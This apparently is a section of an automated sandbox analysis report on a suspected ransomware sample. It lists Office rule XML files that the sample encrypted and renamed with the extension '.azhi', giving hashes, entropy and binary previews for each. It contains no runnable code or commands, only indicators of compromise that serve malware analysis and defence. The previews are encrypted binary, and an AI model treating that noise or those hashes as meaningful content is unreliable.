SHA-512:	73EB55B26B442895C5A0DA8FA9E0944CBBDF0E384F880E1F5D616BAF6B2994B72762B0773394C0B68DAF26569817CFBAA75D3A96F1020AD5EE9ACB1790142E6E
Malicious:	false
Preview:	<?xml.R.a...l...w...F....h.......g..&f..S....+.BY!.q.xw_...`.....8..k..D.....^-.......'...H...s2!R+.I.rp....E.z..~..;`....(q..n<E...s.....'2........'...v..Z.y\|d.`......tH..1GB...s...]..e..,..b....Y...Xr..@...0.......`d.(.3......\|...6.[}r...;...@.-.,L..V.w...@o.w.hr.....n...h...F.$.C.nUQ...)Lz.ADh......W@......k..o]...Y..Q...@.D.n..@.{gbw...D..Y9h.. d.......&...I.^!..XOM+..u.. ..gr9'......1....7k.kJ\.T....!rm_"u.L...~P..H...:.6.O.V.{....;..\hs?....O..O...t....1Ah>.a.~).A%..q.lN...+^.D.).m.........-...G....>-X8..sA.C..b._Dx3..D..J...X.......Q.H...O.f).f..}\..X..Y...X...^.1.. .Hh....KB.rH.+..K.w ..4h..~[7%.34.E$. o.;l....b. ..)...........;M......;........xx=..9..L...2.k.U'.s+.y... ..[....>.W..is...E...[.W/.....x..K./...4.*.x. ..{+.f........M..&.~.L.J.9..5.......0..#rL...c..."......L...$Sa_n.m.g";.Bo.X.p....{}..3...?96..z.) v.G......A.H..p....u.._..\..u.sbh...8\|...u..(&.].I.P...........4h.ER/.yE.o.=.b...2r.9z..y.5>.x.<6.....E=.O].L.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11931v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	903
Entropy (8bit):	7.745636149986448
Encrypted:	false
SSDEEP:	24:z+OfuwtuBiMVHQ+PGmGcSgBFjzYfIxUxlkvbD:KyuNEMtQtXZSYDxWzD
MD5:	649BBC7882573F05366F67835AA6E56D
SHA1:	205222F1A81DD40E99B88928251C984CCF551AE1
SHA-256:	55F3C87ABBD20CA531DC09940BD08D21BE6A8F1960AF39241E9A0B9026EC2C64
SHA-512:	A747EA0B1D88C676270B03355BB0FDB532B2E271FA74BB554995AD5EA9BACF1407930788E29A4F80C813B850A9827BEBED24FDB3952331F04A3E767D77E2B58D
Malicious:	false
Preview:	<?xmlP..6~..)f. ..GX{..GBo.M_..6...:..+...3...$.u.9_6.O....\|T=o.-...C....w.0..y'F....}eil....Xb..m.........#q=...6."..a.....Z..d1..B Mn I....A..R0.G.O.......\.L.:qp.F.~ ...T4..st.+.Kb.:...k.....V..g..6 (.-9....]..c.Q.:..:.........}..c......f../..H...6.I........y...s.K#....9.s:o..r.@@.8..E.f.w..1.$TI.P.v......@./j.i.s.vL ../nqVvK.H...e.{d.d..U..l..J....9.v.7...\|..k.AkL..BzeVv..`.s._6.u.X....9..ay.[1.s!..............}$......./.{.........a...,.2.5W.s....N9$.M.Z....04.g.G.m.....&.!BQ.AN`L..Kp_Os<.ZW.5F..R..Y{.....A..?[..L)....}/.......=8R..bn.....J.>(\...!..~..H..9............?....(S.:e..S..@..;..)..F.:.t.J6.{.l..{d..5%...nG"...h.rj....1<..s..p....p..L..>.......?TA....\.MHy0D..$....D@,.h@....\|..X.....i..B.,._../..7.?..9.OQl.<SN0.#.Hh...SI0=._Wg....;...wCN...>.....6.Q..Ph......I..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11932v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3566
Entropy (8bit):	7.949502438555479
Encrypted:	false
SSDEEP:	48:n2ky/2jVe/6TuM4nUf9QRXH7Fp75tB/41D2qnXHMoyOJWGZUX7ktSd3XRIHPduQN:C/2c3JKEHRZ5DSnXsYWDX7k4eHP/D
MD5:	388E870C437E076224CB1A571263FAA8
SHA1:	4CF80D21713569B3B508868338629FB66E3990D6
SHA-256:	6FF08117976CD98741C96B7CF235D93CA0F0C35ECF97838867D2E2B197C4D9BB
SHA-512:	631DAFAD6AE18DAEC7109B1419A2BF7BB13DFE57F1488F8B3FFB14CBDAF032BA5E3D5EC50DCF94998D290A37CE2588A7CFF19A03E8BCBFE3771416CDEE75230B
Malicious:	false
Preview:	<?xml...!........P..0._`...y.../.....D$7...MZp.<.y..dkz\|.&..R8.K..:.+.X..k........a.UZ#l.P....T-....G..D.r;....#..P..8.u..U..',....?t.ah]P4`m..y.Jj...t....2@...m./..kI..m....Rf..6.7.v.6..S..n..u..;..[Ax...-.?.....2}....QV.....L.."...P"..:s.{C:.O.....D.3.'h...6LVR.\.R.]..`..XS..2>.. ..Yf....e:bh.D.XZaZVUe.....C..Y\......n2....;..l.?.P.z)&.T.gvv...g.bX._+.......l....5Og,A.......7!^}b....:..K:.@...G.W.Y...# .H...9v......I<.f....W=..h.K"../....(.@>Qm.. .K."cg..H....Q...\.T./.b.,^..g...u(i.~......i....PDx..........e./..?.sA.6....E..4.",.B...mDQB..E..T..'.Ayb"..L.n.[4.G..v..3.cvQ=.;..}......Wm7K...G ..u......Q=L%3...gW...J....!8..(...]>S..5b?.1...f..r)Atd\._w......dK.....b=gL.q...q>.......`.....o.!..[..#..h.%...dY......]..@Pi.T=..0...6b...U....GLE9...@...K..p;.....Z@z....0(.S..``..V..m..n Q.+.b..B..@.M....q.V...._.J...PK.....A....5.V.#k...'.~w.I....$m40..cl....<U.T..e..# .`,}x.C..wi.}RT......4m8.1b.g.n,....)..\|.......=.C7.........V....84..y..*(...c...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11933v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3677
Entropy (8bit):	7.960652716557622
Encrypted:	false
SSDEEP:	96:ab4FFke5rDuEhx4R0wEzgAgideQ3uMM3yB6vO3Jy:acFFbliwwE0Xse37vkw
MD5:	48A42137AD19DE175592DA3AB3E35F35
SHA1:	9DC0640D9C88295629FB0209B0E73BC89B73736B
SHA-256:	C9BBAE46B9E86D49F768EBAD3F3CD059915A1CD274894BC8DA9F59D33E39564A
SHA-512:	9954E32CF3136C1681C1FAC42A01B5C11D3C4093BD21CC616A90A93F408009E1436DF27639E6C246F9B48169B486512ED892EA11522AE3828EED19B2A70ECF2D
Malicious:	false
Preview:	<?xml.`d....Mf$..>~...G...M.SQ....&=~B..$..?>\|U.M......7....kw.s-.....V...q.6..m.-.\|..k.....!Zr.....".=....C...9._HnN...$Di.r;V..0.c.c.I.92.0{.l....`x.5 j..5..0......C.v\.....s.1@..=`Z..kV.....H\....bz.r.2..R.j.#..3T..rz..M....~i$B..Il..DW..I......$.'3..F.+=X....=-.@.......Jq...],......l6.@..B%]...E..@.T.!...u..&.......mO$...W..O.V...$.4.k.....#.....U....%$.p..nv....?4.}...V...S...:KcX.z8..U..M....4....%..1.r..~..Z.-L#(u.w..{....!...u../..q.P.8M<..uj..'..(\....FuP%.,i..C......1...Y..!2..J....H...H!V....... :#C..>..A..J.0~........-.&.fLm".L...d.<..t.......).....D1.D.}.5bjd..._"j>.... 9...9B.&\....z.2w.GuY.WTA..<A..G..c.xx+B.Zi/....ml..........U<[h.^.&.Z."...,.w..$...Lg...<u....dtMv.~.....B....{....dU.H..2....'...e3\|..2...?......4...l...Z......{..#.T.2..F.r..C@.s.8.r..qy.HT..:`..!.D...\^R.......{....(3.t.E?b-.......7Z.a.-\.\|...P]..3E..Y';!ec.@{.....h.(.#....=.1..Ys%.."..u.Yq...{.S...&..a.BHc&....)...-.Uu..k7.AoD...8..)pi+.5..z.}..%

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11939v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.661991863905205
Encrypted:	false
SSDEEP:	12:cKm8kAJj7o14Hv7izH8NksQieArpvO2BbknqkPBxMbCo0Ff5NuRWkmQCYcii9a:PmkJjU4P7izH8NkVAEqbkqAjMbCVf5wP
MD5:	96E8D182689A50382FE1A8430DAC297C
SHA1:	FE8457E238B1354F2876CC1565ED458F74E388CD
SHA-256:	472524752A362F420D84BA9862B79802880685C99B6B44877E4BC3635467DA7A
SHA-512:	5DA16C7A1D031A160B503E19D5B771AFAA37AC2FA5CC4E1068479D345F71F4ABB5BA3506EB63D9A6FE26E54284113F730BED5B2855A89D3A5E492DF5CF1B6EF3
Malicious:	false
Preview:	<?xml!AE..U..,.7...?P8l2#<0fQ..mU5QY...EZ,z.....v.vh.G.MX`-.........>...8.r.uM.......=...dV.2.{..G....g7./...l.4.+.'J..../.g\..T.D.dy.<.p.S.>R...Q'.....E...oJ.V:B...x.}.W~"~......$....s`XL.Y5.Z.{um./@-Z....3.;(M[.!.YZ...T.s.3.)RGP@{8...;....=..8.y..........MM.Ag...5......LHt.w.....}{..z..........q.Oz....,d.?..y.3.Pvc.w...hm?...s....@\|R}A..W.m$.....(";E.)x.....~Q....,.4(X..s......1.4.......()..,}.....)\..>a.$`....P\j...'...u.f...@ep.. .\A.p.o....c....E.D....+...._]t.wA.Y.....8.8.G.....M..#wj'.$..V...o.V.FV.OM........Q..pKWI....&......o....~Z.....eut.6.8.d._F*G..=.6x.Y. ...4_........H8.:{%f....t.\I.j.q._..> ..~...Tq.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11950v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1620
Entropy (8bit):	7.88847923306954
Encrypted:	false
SSDEEP:	48:JkzBGQ78fQOkYpvhKpTWPkaf7UbjP7ckBaP/D:JkB3gfSivhKZcz7GP7pBy
MD5:	9A5F7C0B1C468452F0DEB6B256812EA2
SHA1:	422FB8CFCC6BC50431BA181FF9EF936B7AAD7011
SHA-256:	611546E0240A3E4E2ABF6DE9B765AFBC084CA56F5FF4B3FD611A81E799B40F3D
SHA-512:	C308E9D38D30D12EEF4E292507A2A5B89508ADB1F5D29E4431F3B725E157C9A7ACD1E062F67534FFE5FD3DE8724231BEDEBE62E27C6766CC15E1B2F8755C4DB6
Malicious:	false
Preview:	<?xml"."...L;Q.+...ZW .Nw.....}.GW.H....:..f...n..+..v'...>....S..'..l'Z......\.,'.....w3.w....c....U...^.<..Dy...:.!KV........p./.if.g:......!...n.Z.'zN.,.q .....n..ZC...jy...ee^...x{...wZ...*...Ff.6.C...k...H3zMMb.....o=<w._..I...[...p..~q....(d....l.U..i......@.D.B...cB,...:.o4h.nD5t.....>y.K....b%.....]\...6..C..VA!..uW..hp..k.A...Y.Y-.(#.a.........s......5....M.\|Z..K.........'P....e6.. .L...E._....{...`Q...$..R...^..5.L>.... ..g....R@)p.3.d"q.....3..[x'.{..c..%~Ru..._b.".%.B)c0.lQ...O.....'7...Cb....l..4..[S./%-...v?..O/.w+...._..{.Y.K.\|-.e.Y)^..F.?..u.q.].!a"s.V...(v.X...tRS..{^...az.X..W..w@-<.c..]....A..0[....KI....r..}....%2.....m7.?...V...{.U.ZY...`Pt..}.x.;...J@....Z.3-b..aWP{.O........eN..M..?.!.P%..m..^6.e.....).f...t.[..x.!.;....E;..6.K..!.L.f.}.....IC}ja....S.z..UT.qM...p..N.2..=......e3..\.<.J.K........Xg..O..~.(...M-)[..CS@...`.Gx..YX...R....C.......!V!....a.;4...Uh.........f....V.\...^..}..S..0.F.....y....K~@.l.kp...U......l.@

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11981v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	821
Entropy (8bit):	7.71903773881997
Encrypted:	false
SSDEEP:	24:VW4Rw4qgHSaXjVvdLHz+d82E+okndorwUanbD:VhRw5gy2FLT+Sh+LurwXD
MD5:	DE08A4C8676F6CC6B4A3A010A84BCD08
SHA1:	8CA177A9308DCD5302004E6240365AFE67DAB481
SHA-256:	6F3D174BB0436573D5E4009F57A937FF6444BF91C5F76E7590F63C19C1F580FC
SHA-512:	93F54C790224E7EFAEB3AF3B0812916B6FFC7B985A8316F98BE70B4A1FE98CC0A3B00E3AF807424EDC9AA5CD5E571CC19F2D802C46CC481379DFA2937E8172DA
Malicious:	false
Preview:	<?xml`.5.Yyab..;.R.ldO}.JY._R.,+.)4...@..+>.m.u.pOn..y........P.=../.$&.....H...wH..@UAz..s....x..e.A..o...5.k..v-v....7b.us..,.v....V...Q..........T\........mq..(.W3......n\|i\|....`"...1d&.o9.%...Z.a..6..4....v..Syp.o...df].nB.."..j..?:.{+....m?;o;.SR#N)....I.............Q..p.~.QI]..s...m.{j..Z.3.)..F..irN}..JR....0E*X9.'.IqV.1..hu.Ez......q..2...1./{..vEyD>\awC..D\|....8...r....-.S.........5.....g.....L..@8Z;.....]#u....J..}..X......E../.04@$.}..,..........YGl.U...B..$...Q.;X .0L.[....F.....V.R...........aLJpc.V..B......1.u$G..Y...1.An7.....gM.......C.....`.e....M-T.5.5.T...h.....^.4.U.OI.E(j...[.I...B..-...v. .&.V.dTJ..eon....~.s....EJS.9bbs...yQ(#..V..3'...L.'...y...V..2.......r....Hs...\..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11989v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1034
Entropy (8bit):	7.8156053777970795
Encrypted:	false
SSDEEP:	24:Mbm6Mb4w9zCnuyaNhBvSa5/KzXDvmJpl3AaMB+oXZbD:YFMbHRCnpa5K+/2De72aCZZD
MD5:	75DAE9419AE6958943C5C4ACCC793D85
SHA1:	E4947559CE7D4EF768B273227B6A0438BB44EFA7
SHA-256:	4177CFB35BF699209E24107719F8BDF5AF19A0427A67B1029920CF7673B3B12F
SHA-512:	061E412615888BBCF78867736DE08BE8441E18A5F40019B545876840E269EE23140473AA8BC154A0D7B36CA5E767A2AABC76000B562A6BD27A8B6324664853B8
Malicious:	false
Preview:	<?xml.~..^8QR......b...~..n.[(#.p.k.M...u).J..~..........';.P....$vp..h.h.....N.n_h..Q]..........[&.\f.L..K.b..D..,......]=..b..f.Y...>.)..).x..C..+..OX[T..\|.F.....:}L....J2.a ..se.:a<..(...?o.........2:..C.pIm.V(."-/....t[..'M..\.~XjJ.K.!.......0%d.OC.....T.rL.......r..nkTP-.sG_.....Q_.4.....$.....rg....;`.Ee..MKU..R. [....iHq..kM.}.j.Y...).B..;......]k.!8e.......fp.........@...3p.w...p..`.Z.+..u.\..$. ....f..a.d....?......a.].+\|.C.@\..:ye.L.]"...s..>..]q..!>=kv.M.'..5..r..x.I....^..T(!.....r.n......b...v.e&.G..(.L.5..s+.'..C.....E.wCY.O3..g....G1$xt.&........B.Y......n.s..#...(..%.k....U...............nA}._.,:}.1.....>k...........#........Xw0(........._G"c.C.e...b{..)o.L...Q..8wD.#.wU.....\|.'...!.uB....d..;.........h..f.#...wuN..wi...S{+R...).{].o.,..AY...vC.?..]....fS.so....(?....:.......).<..rQv..p>+Y4.Q.H.}X...3.T].I...M.;.s)x.c\|z..4..Q.?Bw...~.......Z%.l.g....`.2W.Y.L..G..x....~..@q.....IGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120100v3.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	7.863880280840997
Encrypted:	false
SSDEEP:	24:oTbmKkXaP1KVr7RRa1RzjUPELu94KC0rfPLm3WT2zxn92t3+akbD:/qN8rnMUPELu94J0rnP06NuD
MD5:	BD73A387D37CB81F776140B92D62FA31
SHA1:	8397A9B2F3A48674683B8689AAC95507D6171509
SHA-256:	75D6E67C2513A9EE96BF195EA914E82B08DCBE7D65F0CB51DF7C87174762EB37
SHA-512:	AAE03709FF1C6485C55A6425152AF2D21194725A0CEDB7BE87705345F4C46F9D7A3E3286BD6B6DD8CA1B5F89C8E5BCC2EE4FAACAE8D8656D03D5B67693037DE3
Malicious:	false
Preview:	<?xml.v....F..K^1h..9..k...7....4v....w]..8.......1.Z..8\i.gk.\|.Q+q.....:.......0.M.7....).J.X+.xS.\..pg..}....X..Z.$..u...~"..px..6..R.k....W....Q>.....qW.C]..s(...l4]...N\|....>7Z.w.C.......Ur.g..w...bk/.<.N:..K.(s..P.q...S .....?....7...4y...i.r..T)4.:-..[.....2....C.%R.a.T%N..P....3B.5....O.c4..[=.e.Jt..W8.N.G3..I.&=.....tx.J.+6`...}Q.`....g..y0...T.K .$.n....Y.....p~.>0...(............7..B ....X...a}..Y...V..k].B....!.wY..D%.B.jz?.......--.[.u..f.x...C...!.r......?.K....U#4..ax...t..K....._....s,.R] ...V...\.......fK.....&?2.....6r.M..H(.(...T..x..,.6.G.......M_..8...2....Q.5.Q..cS.......F..F.u~..'=6.\...W.../.^&.)....-Q!.qr..l...1..r x....-.n>V.g...Y...U..=.y..3.l........(s.$./1..4.].PY#..8).8...............l~.<...(v........U+.5...]..o.....u..[..$...t_.d1....[......3..R..V...._.<....q..]..'T.(e...t......\|.H.;.,x...{.t...Z.MG,.eh...O?V.KI..O.;..a...l....Pg.8....-...%..`Q..zZS./Qp..H....t.w....%,.]kX>L.8!...u(...[.Ab.n..@^i!.l~

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120107v6.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2514
Entropy (8bit):	7.925949154762701
Encrypted:	false
SSDEEP:	48:JD1UY0lFh5WRTq5BJAhbTWvGfeW+I6WAV3NuNh+d8pIFRVgGPRD:zUY0lFh52q5ByeGDHZy3NuqapuBx
MD5:	75542C8D173A9E09708AB15687915281
SHA1:	367CE935CBE7C99E61FA43E4FA22BDF5015DB102
SHA-256:	AD5FBF7E90A214D66804134A52DF43FEE533A09D7A68EDE51A3EA2C5F05C67AA
SHA-512:	088123100B679AC6FBFD4E38C52639A8FDDBAA9E1FB2F1D0C688C59ACDC9D541BC26580A56315CE9AC2D1F6F7F0B50D6CBADEDE58BCEE21EC69730DD7D2E3E26
Malicious:	false
Preview:	<?xml #.....'..)#B....Q......8....%'u.=.I.T+L....b.x....l....Y..<..Y.......j..QU{..%..Q.R..].OJ}.PIkI......(W_.q.Mq..r.. .%.r.$;....^..m.j(.im..qa..E.z...p.A...H}.....W....3......a..n..}'....N.HX.]..78/..!...].^s..$..v.6......M..st..U....m.c.f!u~....\P..M.w].R..E$.y.[..._...r_i.N.T...;....1..Y......... ..C.G.00..N0.g{sLE\|.)@..!\..C.h.+F>.IX...9t...&D.X.f.@9?...{Dg...I.....Z..Po1....Gx...S.F...tb.:..~.X.U..Y....<5.x..0^3. .F.\]...........jz...nVw,......\|.w...n.XD7B^.b..Y.g`s.M........>..P~{Z...M'....Lg:.Di..iU..U.b.....E.hv..C.7#.".;.L_.-2.{.^..O....a9..G..BC(.[4...9.o!....q[....G..g.d.........[!V..X...i.K.[..T9.....#....(E{.P..MaOL..cK..4L.`....h.z#..V?_...l.0..._o..p:..9H...-...2.(A...1W.by4.W..^.X..8.3v]s...l............u;{6{...a....A.w.9..../....sbp,....Pe.Y..".....z.v...v.Y.W.8~..g..C..)..].J*.........i.d..DwP.v..?.Z'8.....3l.o......E......<..-...T...OMv..$.^1.0i.~.E.m...b.T.Q$.F.y...e..:.%.0......\|m.2.=..B.Nz.a......e.!{r.Xl...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120110v4.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1346
Entropy (8bit):	7.816801222421621
Encrypted:	false
SSDEEP:	24:59LnL4WKijGUoN4q/2ya+PNt2isqaQNVqvbv16DDIpaOo8PWOabKJ3SSY/bD:59LnTKzN4Q2j+1IBQnqkUawPWOamYjD
MD5:	1D242A3D8D4FE3305ACCFF32C6045526
SHA1:	E744D2601A0626EE5FD5F9524725BCCB3878D821
SHA-256:	DA20788A265153A90A32FC08C69F512F3FFB801AD764C407889169DB213A1EBB
SHA-512:	EC7FEB617B0D8735DFFA7E48C7ADB6A4273F1918CFB6B28909EA978236FC0C926DA95415DDA7FCE993FC2FC7BCAA198497730944727F7BE099870BBB5834DB9A
Malicious:	false
Preview:	<?xml.~P..d`UO...g.9`\|.0.......0Y..=&.T.?...'L......7.?..D.M.%h....A......y.........ggd...F.hn.vzcK...D...i6.te.(..s[,RV.:..e%..-W.G....5..m.T.)......O..jJ ".A..h\F..koO..#..m.cN(..$j.#S....K]l...hx..y.7..x.3w..JZ....M"@j.a\I.5........o...)...U2x;a4.K}..'NW5...p.!..!.\.'.U..L...!.k`..N.LM:}....]...t:....%...[;.V....{..A'...x.yJ...)G.L._.!....3.&..Xv^..D.....8D....k....v.3......4.LI.)...`8.W.?.e...c..Y.....D_...}........c'.S..F\|)E..n...TFu....Iy....].n-....+.qff..\....i.g>...(...Qc....Ly8..C.{P.$.z .t7..@.Xlk..f.k.&...L.8QA...l.g. ....V(...Jo..4+.......<^.'.c....d..SI.Ne..g....o...8.Ad.8.M..e......,t{....nQ....I.p....8......;.T...>(...@.s..Y...D..G-.."...q..l....=..k..Xsb./....i..x..-%.1..>......EJ...a.Y..zy..;...@S.....?X&.B.L`..odX..d....'.hEo....B.=..'...a...D..z~>./...4...R4..mo..2..x..T)E.BX%Q..q..ph:.p.>....f..H...*7>..M..jW../......-..q...:.5!..}&...d.b..v:-..zJ.Rx.xW.v=.?.T../.......m.r...y.H..........i. d.e.R.E.0.oVW.p......

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120112v1.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1041
Entropy (8bit):	7.819484807252422
Encrypted:	false
SSDEEP:	24:JIcllz/2p9fALGyouGeBg7x9x6CLTx4kbfbD:JIg0bAy6mtiMN5bDD
MD5:	A5820F7945E6AD9F205C9BCAD96644E6
SHA1:	489CCE2AD3C7EB94DC8F9DDBFCFE4000046EF723
SHA-256:	C9E104959B20CB4BB7E733ADB8BD120CE2EEA0771EF5936D95545F428BF7776F
SHA-512:	54B47CA9438726DFF4E52428B1337E487208040C8488E609EF4D40D04D52EC737A0BCC0D165956F8059A1AE094506B1C7D2880B5CE1F892CCCB85A0FF2F8892D
Malicious:	false
Preview:	<?xml...r.....g.....&>......1.n.W.P%W..@"8.W1.N.[..-.#M."..0L.O..}...=.I.....h.X.-Ik.<.:.i)u.5..v...I.1.K?.y.?,..7....-.>....nA..Q8.....u....G.-YJ..J.ps.......SbR.@..1.8..K?......q./..\|Ao.:..gH..}.. .bjeuT..!1N4j..L.c..&.\..X.`'.......(I.Ed..k..{.,>.=.{.8$..v.Bw.......9....d.,...>:TCU.nC.$..O.b..eBo.f..+.U.\|.X.............v..N.#.+.2&.m.Sj.............5Q.;...v.t.....a-...Rw.....Bzcc....2x-...9...}L......z...W.:......D3a...e;........se.C#...[....x.}%._.9.....\|2.y...&:..?.... .>...F..........!..r,...Km{.8.. .......OV..J.w..`8{6._.....;.PD.. m.L.F6pJ.nK.."t.`.M#l}.$t.2.gB.{/...~%0........7.,..-.u.>.\E.g..(g.~....B.( .]../.u....j.P...V..)G...K..)......z0....."..w._...]..f....l./..b)..1.y....A."Yw#..o.A.^..0.?g...8.6x<.A/GF.V....9uHk..]....}..$.rG\.V.Mky.u%..M......z.a.9.........urC`..s..M.g.)..?....W......(R.;.-}.gk.9..=9.t.O..@.i.Y?........m@ ....`=.... ...f...>..E............m....n.l, .o.HaQ].._.+.H.j.e.NGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPD

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120119v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1664
Entropy (8bit):	7.893143912990536
Encrypted:	false
SSDEEP:	48:P/kvlGaeI3oyTD+29ke11REMk9bmTMeqSwrOY9D:P/wl3oy3+F8GNyTMeDwrxF
MD5:	EAEE6D3989106E7D116020B5BFF95F0E
SHA1:	525DCE231850409C4C7873344A619F32952E3D43
SHA-256:	EFC29B2D26939B22179821FDB0F44194482269C60AF74D84734B7F1FEC823989
SHA-512:	1D011C7F5441E9F448F276C9D9146FEBEF141CF3F3AE1BF3BB571C520B4E9EFAE48CDF6EB0E00F9417ACF6C9F8D250C26033B581AA0DFA7B2E1F7612C845DEFB
Malicious:	false
Preview:	<?xml.2#.j....t..l...wh..B.@...1.o3p...j....o.....nOw0f...^.j\.......@M..1r.P(...."...\|....v..=..n...ip..S......[n.....RR.......n..e....#......t/.~l)..r[.F..f..q.q...m.s..zH8?.y.@bud..q....A.2C..,.Y.t.qK...2;2..U...Z...B.L.......x~... .C....;6....7?....QX.s@.....]J....kvy...~s.[......e......G....g..t...........]C...(.......?Y...B...g...I..~...u.2.:.F..m...6.d..W.K....'.M...........SI......R.Z..<...-.#......_.@wc...[.`...'Cs.B1...$..kjr.....GG..RsT.......?...;......m.........R..-Z.8}.....M{9.......J:..I...^.Q.yj.8{...U.HWK.'....W.F.h.1..'..p.89...cr..o..0}........Bq.UyX.{...b.....%.wp.n....).`..(D..E...pd..e.33OuQ.3Z.2.N.u{..(E.....7uB.OJ.!...HEm.P.C..*.LdH...{.ONW....-..0..Y.`Mj.d.?9..a........i.7Tf_J..#.;.E.YV-.Gyc.cI..iu...Y...L.....q...c.t..K.f.X..}.y.q..R~.H]I./...8W2,.......Nf../YEM..1....1.Jk]snmpd.-....Q(..u2.....l..7#.2.S.,.J...H..!..ti..8.pN...k.}..y.2..F.N..{.CjQ:X..e._Y..>....Q....j.u.x1D...V..k..5...........G02$;.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120120v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1195
Entropy (8bit):	7.835145669906455
Encrypted:	false
SSDEEP:	24:NHoVsU6gRTeeAsKdWcJt65Hpye7/1LoOgxblaNZwagQXda5T7MZYgbD:FjgbYdhHqNLoOQh4BFXdgMy6D
MD5:	9C3B325AD54882AB9FC9694A09C44133
SHA1:	2F50F44C395A96398967B2B124DFC22FA9FBE628
SHA-256:	8371CFA5E75409A1309B83E61E9F9AD539B7012E7CAB4B7D487E53E6406FD835
SHA-512:	9095F62B715F1F8F3CB6CFDB345A8F343EB0D845881404784A36C0DEFE5221B63D7AC57937C49ABC66C4B517C974ACC4703619044CB361F6D8DF919A87266F95
Malicious:	false
Preview:	<?xml....y..}.'......V.+....[.P...[.O..\|$.Z...cQ..F..m.a....Z.......Y..\|...T......7\#.fr...6..8oV.".\..(.d&....\|N;....!.....O..H.....X.o.\|...ld<^...'..v.....'.......-...K.W.wA.....V..9DZ5...gM0..JM...;.....}....rkm!..H._2'\..)..r...L7..Z.d..].0N.r.%.....q. Y...9U..(...Amr..;[\|9..\|FW..m.v.n..^.E.Tf... ......n........lR8...-..Y.\|$.-..LqUqY`Y..-..G.....M.7....(A..z.".+.<.j..)......u.$.Ge.....ypg..eA..S..2..F...."o.2.pM.({.u.(.1..5^q^a.1.X.3!1.@Dk.Z....z.s....O..K._...Y..h...0.%.<}D.....O.....v.E/.+...w...."..~Si^.Q.6.....gZ=K..8t...]...]..~jG...k.........V..:Ia..G...G..Ic..XO^.L..c....(....g..&8....3J........r...97F...:..ikM!.......7G.......I....U...L../......X.0v..P%t...C4.l..u.....K...`.o.vBK...m......8...PRP.T.R.....Q.e..!./...Z.....yG..e.K.H..L...". ....('..........MyF....l......I)....~.....f.].9...5.....u..i.7.......I.;...8%\|.}u.}.:.!D...u...4.......YDuoso..#`.nS{..!?....`*.....d..X@#C>.......P.....V...............%6`.).l.. ..i.4.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120125v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1269
Entropy (8bit):	7.791131928680659
Encrypted:	false
SSDEEP:	24:BUxHTgHIWeMTpkSWoaEx0TeUt/gMi+ywqvAxD4/guTcysdI9cjqBfgBH2cIaybD:+xmT5aE2CW/3iYB4xcfS9xgBWcIND
MD5:	757B81CCC4AF1E962E3F9D3B9C09265B
SHA1:	4DD1C5A7FAA7FBEAC55E3547F461AFE62AA4910C
SHA-256:	DBF04B857D8B8AB34509B2F020C9468CFBA424BEE530E947B0EB7BF087E97A76
SHA-512:	A3028CA646A4CDB54108A6BD54AB8EF2C312EDECDE112A93B91BA5F7FB63E78A8E8AEADA77C34C4D248FA09C54EE14CE9BA60C5151DC450AFC158C7C23BFF7E1
